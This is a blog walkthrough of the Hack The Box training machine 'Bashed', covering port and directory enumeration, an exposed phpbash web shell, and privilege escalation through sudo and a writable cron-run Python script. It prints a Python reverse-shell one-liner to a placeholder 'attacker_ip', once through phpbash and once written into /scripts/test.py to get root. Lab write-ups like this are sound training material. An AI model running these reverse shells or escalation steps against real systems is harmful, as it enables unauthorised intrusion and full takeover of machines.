DEV Community

Cover image for HTB (Bashed) — Walkthrough
Michael Oladele
Michael Oladele

Posted on

HTB (Bashed) — Walkthrough

Bashed is one of the beginner-friendly machines on Hack The Box that focuses on web exploitation and privilege escalation using Linux misconfigurations.

Let's start with the initial step, Enumeration:

Enumeration:

Our nmap scan returned:

nmap -p- 10.129.23.4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-22 05:29 CDT
Nmap scan report for 10.129.23.4
Host is up (0.073s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 49.80 seconds

Enter fullscreen mode Exit fullscreen mode

We got back a single openning port, port 80, let's dig in to the service: 80

Service Enumeration:

nmap -A -p80 10.129.23.4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-22 05:34 CDT
Nmap scan report for 10.129.23.4
Host is up (0.071s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Arrexel's Development Site
|_http-server-header: Apache/2.4.18 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (96%), Linux 3.13 (96%), Linux 3.2 - 4.9 (96%), Linux 3.8 - 3.11 (96%), Linux 4.8 (96%), Linux 4.4 (95%), Linux 4.9 (95%), Linux 3.16 (95%), Linux 3.18 (95%), Linux 4.2 (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   70.62 ms 10.10.14.1
2   70.74 ms 10.129.23.4

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.21 seconds
Enter fullscreen mode Exit fullscreen mode

Our scan shows the following:

  • Port 80 is running Apache 2.4.18 and It's Arrexel's Development Site

Let's check what the page is like

page

  • The line highlighted in the screenshot is worth paying attention to: "phpbash helps a lot with pentesting. I have tested it on multiple different servers and it was very useful. I actually developed it on this exact server!"

Now let's check the directories, using gobuster:

gobuster dir -u http://10.129.23.4/ -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,sh,pl,cgi,aspx
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.23.4/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              pl,cgi,aspx,php,html,txt,sh
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 290]
/.html                (Status: 403) [Size: 291]
/.hta.txt             (Status: 403) [Size: 294]
/.hta                 (Status: 403) [Size: 290]
/.hta.pl              (Status: 403) [Size: 293]
/.hta.cgi             (Status: 403) [Size: 294]
/.hta.html            (Status: 403) [Size: 295]
/.hta.php             (Status: 403) [Size: 294]
/.hta.aspx            (Status: 403) [Size: 295]
/.htaccess.sh         (Status: 403) [Size: 298]
/.htaccess            (Status: 403) [Size: 295]
/.hta.sh              (Status: 403) [Size: 293]
/.htaccess.cgi        (Status: 403) [Size: 299]
/.htaccess.pl         (Status: 403) [Size: 298]
/.htpasswd.sh         (Status: 403) [Size: 298]
/.htaccess.aspx       (Status: 403) [Size: 300]
/.htaccess.txt        (Status: 403) [Size: 299]
/.htaccess.html       (Status: 403) [Size: 300]
/.htpasswd.txt        (Status: 403) [Size: 299]
/.htpasswd.pl         (Status: 403) [Size: 298]
/.htpasswd            (Status: 403) [Size: 295]
/.htaccess.php        (Status: 403) [Size: 299]
/.htpasswd.aspx       (Status: 403) [Size: 300]
/.htpasswd.cgi        (Status: 403) [Size: 299]
/.htpasswd.html       (Status: 403) [Size: 300]
/.htpasswd.php        (Status: 403) [Size: 299]
/about.html           (Status: 200) [Size: 8193]
/config.php           (Status: 200) [Size: 0]
/contact.html         (Status: 200) [Size: 7805]
/css                  (Status: 301) [Size: 308] [--> http://10.129.23.4/css/]
/dev                  (Status: 301) [Size: 308] [--> http://10.129.23.4/dev/]
/fonts                (Status: 301) [Size: 310] [--> http://10.129.23.4/fonts/]
/images               (Status: 301) [Size: 311] [--> http://10.129.23.4/images/]
/index.html           (Status: 200) [Size: 7743]
/index.html           (Status: 200) [Size: 7743]
/js                   (Status: 301) [Size: 307] [--> http://10.129.23.4/js/]
/php                  (Status: 301) [Size: 308] [--> http://10.129.23.4/php/]
/server-status        (Status: 403) [Size: 299]
/single.html          (Status: 200) [Size: 7477]
/uploads              (Status: 301) [Size: 312] [--> http://10.129.23.4/uploads/]
Progress: 36912 / 36920 (99.98%)
===============================================================
Finished
===============================================================

Enter fullscreen mode Exit fullscreen mode

The /dev looks juicy, When I chck it out I saw two file:

dev

It's like we got bash in the browser, let's check each of the files:

shell

We can se got phpbash in the browser and we successfully run a command. Now let's see if we can get a reverse shell via this bash.

Exploitation

I got the shell code below redy to run on the php bash:

python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker_ip",attacker_port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Enter fullscreen mode Exit fullscreen mode

Before running the code in the phpbash, start my ncat listener:

nc -lvnp 4466
Enter fullscreen mode Exit fullscreen mode

Then run the code in the php bash to pop a shell. We pop a shell, now we own the machine.

Shell

But if you noticed, we have low privilege because we are currently www-data, so we need to elevate our privilege.

Privilege Escalation:

So by default, the first thing I do is to run sudo -l to check the commands I can run with sudo without password. So let's run sudo -l

www-data@bashed:/var/www/html/dev$ sudo -l
sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL
www-data@bashed:/var/www/html/dev$ 
Enter fullscreen mode Exit fullscreen mode

This: (scriptmanager : scriptmanager) NOPASSWD: ALL is very important

This means as the user scriptmanager we can switch to scriptmanager with sudo without password, let's try that out.

The command above allows us to Log me into a new shell session as the user 'scriptmanager' with their full environment loaded:

sudo -u scriptmanager -i
Enter fullscreen mode Exit fullscreen mode

user

Now let's try to look around to see if we can find any scritps we can ride to root access.

Let's change dir to scriptmanager home dir:

scriptmanager@bashed:$ cd /
cd /
scriptmanager@bashed:/$ ls
ls
bin   etc         lib         media  proc  sbin     sys  var
boot  home        lib64       mnt    root  scripts  tmp  vmlinuz
dev   initrd.img  lost+found  opt    run   srv      usr
scriptmanager@bashed:/$ ls -la
ls -la
total 92
drwxr-xr-x  23 root          root           4096 Jun  2  2022 .
drwxr-xr-x  23 root          root           4096 Jun  2  2022 ..
-rw-------   1 root          root            212 Jun 14  2022 .bash_history
drwxr-xr-x   2 root          root           4096 Jun  2  2022 bin
drwxr-xr-x   3 root          root           4096 Jun  2  2022 boot
drwxr-xr-x  19 root          root           4140 Apr 22 03:27 dev
drwxr-xr-x  89 root          root           4096 Jun  2  2022 etc
drwxr-xr-x   4 root          root           4096 Dec  4  2017 home
lrwxrwxrwx   1 root          root             32 Dec  4  2017 initrd.img -> boot/initrd.img-4.4.0-62-generic
drwxr-xr-x  19 root          root           4096 Dec  4  2017 lib
drwxr-xr-x   2 root          root           4096 Jun  2  2022 lib64
drwx------   2 root          root          16384 Dec  4  2017 lost+found
drwxr-xr-x   4 root          root           4096 Dec  4  2017 media
drwxr-xr-x   2 root          root           4096 Jun  2  2022 mnt
drwxr-xr-x   2 root          root           4096 Dec  4  2017 opt
dr-xr-xr-x 176 root          root              0 Apr 22 03:27 proc
drwx------   3 root          root           4096 Apr 22 03:28 root
drwxr-xr-x  18 root          root            520 Apr 22 03:28 run
drwxr-xr-x   2 root          root           4096 Dec  4  2017 sbin
drwxrwxr--   2 scriptmanager scriptmanager  4096 Jun  2  2022 scripts
drwxr-xr-x   2 root          root           4096 Feb 15  2017 srv
dr-xr-xr-x  13 root          root              0 Apr 22 03:27 sys
drwxrwxrwt  10 root          root           4096 Apr 22 04:25 tmp
drwxr-xr-x  10 root          root           4096 Dec  4  2017 usr
drwxr-xr-x  12 root          root           4096 Jun  2  2022 var
lrwxrwxrwx   1 root          root             29 Dec  4  2017 vmlinuz -> boot/vmlinuz-4.4.0-62-generic
scriptmanager@bashed:/$ pwd

Enter fullscreen mode Exit fullscreen mode

We found a directory with the name /scripts own by scriptmanager that must be what we are looking for, let's change directory into the /scripts dir:

scripts

There are two files in the folder, test.py and test.txt. Let's check the content of test.py first to understand the file.

shell

We can see that test.py is a python script which opens test.txt, write a text in the test.txt and close it again and we noticed that test.txt is owned by root, so let's try if we can modify the test.py to get reverse shell, which should give us root access if succesful.

Let's try reverse shell code below and replace the content of test.py file

echo 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker_ip",attacker_port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' > /scripts/test.py
Enter fullscreen mode Exit fullscreen mode

Once we update the file, we start an ncat listerner on our local machine and wait. Spray and wait:

Yeeeeeeepeee!!!!!! We pop a shell after about a minute, we are root:

root

Lesson learned

The Bashed machine was a solid reminder that sometimes the simplest oversights like leaving a PHP shell in a web directory or misconfigured script permissions can lead to full system compromise. From light web enumeration to privilege escalation through a writable cron-executed Python script, every stage reinforced real-world penetration testing techniques.

Each attempt, including those that didn’t work, played a part in ultimately rooting the box. That’s what makes CTFs like this so valuable they teach patience, observation, and persistence.

Top comments (0)